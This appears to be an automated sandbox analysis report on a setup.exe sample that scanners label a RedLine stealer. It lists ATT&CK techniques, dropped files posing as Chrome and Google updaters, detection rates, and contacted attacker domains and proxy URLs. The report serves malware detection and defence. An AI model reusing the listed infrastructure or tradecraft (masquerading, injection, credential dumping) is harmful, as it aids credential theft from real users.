Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	1 Windows Service	1 Access Token Manipulation	21 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	11 Scheduled Task/Job	1 Windows Service	31 Obfuscated Files or Information	1 Input Capture	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	21 Command and Scripting Interpreter	Logon Script (Mac)	711 Process Injection	21 Software Packing	NTDS	234 System Information Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	11 Scheduled Task/Job	Network Logon Script	11 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	561 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	1 Service Execution	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	11 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	1 PowerShell	Startup Items	Startup Items	222 Masquerading	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Modify Registry	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	251 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Access Token Manipulation	Network Sniffing	1 Remote System Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	711 Process Injection	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
setup.exe	41%	ReversingLabs	Win32.Trojan.RedLine
setup.exe	38%	Virustotal		Browse
setup.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Google\chrome.exe	100%	Avira	HEUR/AGEN.1213193
C:\Users\user\AppData\Local\Temp\E552.tmp	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Local\Google\chrome.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Google\ofg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E552.tmp	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	85%	ReversingLabs	Win64.Trojan.SpyLoader
C:\Users\user\AppData\Local\Google\brave.exe	85%	ReversingLabs	Win64.Trojan.SpyLoader
C:\Users\user\AppData\Local\Google\chrome.exe	65%	ReversingLabs	Win32.Trojan.Lazy
C:\Users\user\AppData\Local\Google\ofg.exe	27%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\E552.tmp	81%	ReversingLabs	ByteCode-MSIL.Trojan.Lazy
C:\Windows\GoogleUpdate.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
73.2.dllhost.exe.140000000.0.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
73.0.dllhost.exe.140000000.5.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
32.2.chrome.exe.10a0000.2.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
47.2.chrome.exe.10a0000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
61.0.dialer.exe.7ff66ae10000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen	Download File
9.0.chrome.exe.10a0000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
73.0.dllhost.exe.140000000.2.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
61.0.dialer.exe.7ff66ae10000.2.unpack	100%	Avira	TR/Dropper.MSIL.Gen	Download File
47.0.chrome.exe.10a0000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
73.0.dllhost.exe.140000000.6.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
61.2.dialer.exe.7ff66ae10000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen	Download File
73.0.dllhost.exe.140000000.0.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
73.0.dllhost.exe.140000000.4.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
75.2.updater.exe.1d03d210000.1.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
75.2.updater.exe.1d03d2a0000.3.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
43.2.GoogleUpdate.exe.a50000.0.unpack	100%	Avira	HEUR/AGEN.1246751	Download File
73.0.dllhost.exe.140000000.3.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
32.0.chrome.exe.10a0000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
73.2.dllhost.exe.20dea650000.3.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
9.2.chrome.exe.10a0000.1.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
73.0.dllhost.exe.140000000.1.unpack	100%	Avira	HEUR/AGEN.1251517	Download File

Domains

Source	Detection	Scanner	Link
api.peer2profit.com	0%	Virustotal	Browse
idpminic.org	0%	Virustotal	Browse
www.idpminic.org	2%	Virustotal	Browse
api.ip.sb	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
https://api.ip.sb	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe
https://api.peer2profit.com/api/proxy/nodes/getZSK3	0%	Avira URL Cloud	safe
https://api.peer2profit.com/ll(	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getv	1%	Virustotal		Browse
https://api.peer2profit.com/api/proxy/nodes/geth	0%	Virustotal		Browse
https://api.peer2profit.com/api/proxy/nodes/geth	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getv	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/gete	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/geta	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/gete	0%	Virustotal		Browse
https://api.peer2profit.com/6	0%	Avira URL Cloud	safe
http://www.idpminic.org4tj	0%	Avira URL Cloud	safe
https://api.peer2profit.com/i	0%	Avira URL Cloud	safe
https://api.peer2profit.com/r2profit.com/	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get6	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get5	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getx	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get&	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getQ	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getO	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getP	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getB	0%	Avira URL Cloud	safe
https://api.peer2profit.com/r2profit.com/6	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get9	0%	Avira URL Cloud	safe
http://www.idpminic.org	0%	Avira URL Cloud	safe
http://www.idpminic.orgD8tj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.peer2profit.com	172.66.43.60	true	true	0%, Virustotal, Browse	unknown
idpminic.org	66.235.200.147	true	false	0%, Virustotal, Browse	unknown
www.idpminic.org	unknown	unknown	true	2%, Virustotal, Browse	unknown
api.ip.sb	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.peer2profit.com/api/proxy/nodes/get	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getv	GoogleUpdate.exe, 0000002B.00000002.628713154.000000000100F000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	vbc.exe, 00000002.00000002.423930601.0000000006C29000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.433768156.0000000006EA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452118880.0000000007C9B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441743354.0000000007B2F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.370584866.0000000007238000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.439415318.00000000070A5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441507279.0000000007B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.364491305.0000000008010000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452527049.0000000007CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vbc.exe, 00000002.00000002.452527049.0000000007CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getZSK3	GoogleUpdate.exe, 0000002B.00000002.628713154.000000000100F000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.462133908.000000000103B000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.506272919.000000000103C000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516286693.000000000103C000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.513158995.000000000103B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/ll(	GoogleUpdate.exe, 0000002B.00000003.548460759.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.530085692.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.532588442.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/geth	GoogleUpdate.exe, 0000002B.00000003.548460759.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.530085692.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.464624599.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.551213750.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.513900545.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507662891.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.532588442.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.545194559.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/gete	GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507050085.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/geta	GoogleUpdate.exe, 0000002B.00000003.521689945.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.548460759.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629378536.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.532588442.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faulth	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/6	GoogleUpdate.exe, 0000002B.00000003.507662891.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.idpminic.org4tj	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/i	GoogleUpdate.exe, 0000002B.00000003.537335465.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/r2profit.com/	GoogleUpdate.exe, 0000002B.00000003.517239514.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507662891.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003F.00000002.532244422.0000019DE6691000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getx	GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507050085.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/get5	GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507050085.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/get6	GoogleUpdate.exe, 0000002B.00000003.530085692.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.551213750.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.532588442.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.542452094.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	setup.exe, setup.exe, 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmp, setup.exe, 00000000.00000003.295712135.0000000001EB2000.00000040.00001000.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/get&	GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vbc.exe, 00000002.00000002.452527049.0000000007CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423251864.0000000006BDC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	vbc.exe, 00000002.00000002.423930601.0000000006C29000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.433768156.0000000006EA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452118880.0000000007C9B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441743354.0000000007B2F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.370584866.0000000007238000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.439415318.00000000070A5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441507279.0000000007B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.364491305.0000000008010000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452527049.0000000007CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getQ	GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507050085.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getO	GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507050085.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/getP	GoogleUpdate.exe, 0000002B.00000003.516286693.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getB	GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507050085.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.peer2profit.com/r2profit.com/6	GoogleUpdate.exe, 0000002B.00000003.521689945.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.548460759.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.537335465.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.530085692.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.539888150.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.551213750.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.513900545.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.517239514.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.532588442.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.542452094.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.545194559.0000000001073000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/get9	GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507050085.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.idpminic.org	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.422068434.0000000006B97000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
